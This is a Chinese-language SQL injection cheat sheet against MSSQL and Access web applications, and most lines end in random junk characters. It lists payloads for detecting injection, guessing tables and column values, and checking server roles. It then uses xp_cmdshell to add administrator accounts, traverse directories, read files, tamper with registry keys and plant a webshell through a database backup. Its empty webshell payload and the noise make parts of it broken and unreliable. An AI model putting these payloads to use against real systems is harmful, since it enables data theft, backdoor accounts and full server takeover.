1.判断是否有注入;and 1=1 ;and 1=2 X"q!Y#)
2.初步判断是否是mssql ;and user>0 @kFu*"
1tMQqI`N
3.注入参数是字符'and [查询条件] and ''=' !k&Q 5s:
@}s$]i$|-
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 7v7G[n
_:`!DIz~9}
5.判断数据库系统 2;`=P5V
#~L h#
;and (select count(*) from sysobjects)>0 mssql
9\;|x
Bi3+)k>u7
;and (select count(*) from msysobjects)>0 access Pw0Ci
x3pND
aqU'
T
=Gk/k}1
6.猜数据库 ;and (select Count(*) from [数据库名])>0 &~e$:8+
:_kAl? eJ
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 J;$N{"M
wsU V;S*X%
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 "
=]
-%B
QK`i%TXJ
9.(1)猜字段的ascii值(access) Cx_Q :6T
!0,Mp@ j/
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 o4b~4h{%
EGq;7l6u&?
(2)猜字段的ascii值(mssql) JUAS$Y
~z5R{;Nbz|
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 8>WVodv
fV:4#j
10.测试权限结构(mssql) D4JLtB'=
9#d+RT
VOTv?Vf
9Z5D\yv?H
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ]iNEw9
LPYbHo3fq
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- eP.Vd7ky
SJt<+kg
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 0c^>eq]
X[gn+6WB%
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- L6Wt3U`l
dsx]/49<
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- BvrB:%_:
fFvF\
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- OS|> t./U
C[!MS5
;and 1=(select IS_MEMBER('db_owner'));-- wCf~O'XLw
bI)u/
r7]zQIE
c#IYFTz
11.添加mssql和系统的帐户 }N0Qm[R
PQKaqv}N
;exec master.dbo.sp_addlogin username;-- Cxod[$8
;exec master.dbo.sp_password null,username,password;-- K$K^=>I"o
@H>@[+S#
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- K_?W\Yg
>odbOi+X
;exec master.dbo.xp_cmdshell 'net user username password me6OPc;:!
)}vNOE?X~
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ps
.]N
'J&f%kx"
;exec master.dbo.xp_cmdshell 'net user username password /add';-- \#-W
<
:0)3K7Q
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- [[d(jV=*
@~c6qh
RB* J=
/2EHv.e`
12.(1)遍历目录 Ch$*Gm19Z
jcNT<}k
C
;create table dirs(paths varchar(100), id int) 'bld,Do6
*KY=\
%D
;insert dirs exec master.dbo.xp_dirtree 'c:\' hQ6a~?f
3p2P=
T
;and (select top 1 paths from dirs)>0 mbnV[
iRg7*MQu
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) =[\s8XH,
DypFl M*
?m$a6'2-,J
Uj+j}C
(2)遍历目录 @' ;B_iQ
b^D$jY
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- X|0R=n]
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 \<}&&SuH
f7h*Vu`>
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ydw)mT44K
XU/QA
[K
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 'XY`(3q
[.RO'>2z
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 )o-Q!<*1
t#%R
q
F:y[@Yn
F":r4`5D"K
13.mssql中的存储过程 U9D!GKVp
?(*t@
{k
xp_regenumvalues 注册表根键, 子键 &E xYXI
x+f2GA$
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 5JEbe
V[-jD8='3
xp_regread 根键,子键,键值名 lEHzyh}2k
dq[Mj5eC
;exec xp_regread HV6f@
<mi-}s
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 S=_vv)6+4
2z\zh[(w
xp_regwrite 根键,子键, 值名, 值类型, 值 \U|ZR
3}|'0(hYL
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 !mWiYpbU+
x.8TRMk^
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 CPg+f1K
f2,jh}4
xp_regdeletevalue 根键,子键,值名 >pU:Gr
cUTE$/#s
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 % QKZT=}
#2r}?hP/m
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
/'31w9
Y0D}g3`
ynA|}X
atXS-bg*
14.mssql的backup创建webshell Qs9gTBS;
DW)2 m;
use model DJgTA]$&
b~nAPY6
create table cmd(str image); bdGIF'p%
GnP|x}YM
insert into cmd(str) values (''); s21wxu:
J|&JD?
backup database model to disk='c:\l.asp'; rvr-XGK36\
R+&jD;U{
!Hys3AP
N^B o
.U0\
15.mssql内置函数 n_3O-X(
2tal
;and (select @@version)>0 获得Windows的版本号 ^pJ!isuqu
kOh{l: 2-+
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 5|jw^s7
35tu>^_#V
;and (select user_name())>0 爆当前系统的连接用户 MwmUgN"g
&QhX1dT+
;and (select db_name())>0 得到当前连接的数据库 wn)JXR
~I{n^Q/a
+-E~6^>
$H+VA@_
16.简洁的webshell e["2QIOe
H,N)4;F<c
use model =m5SK5vLKT
gn3jy^5
create table cmd(str image); NJNJjdD>
SRDXfkoI
insert into cmd(str) values (''); X^WrccNX
#>j.$2G>
backup database model to disk='g:\wwwtest\l.asp';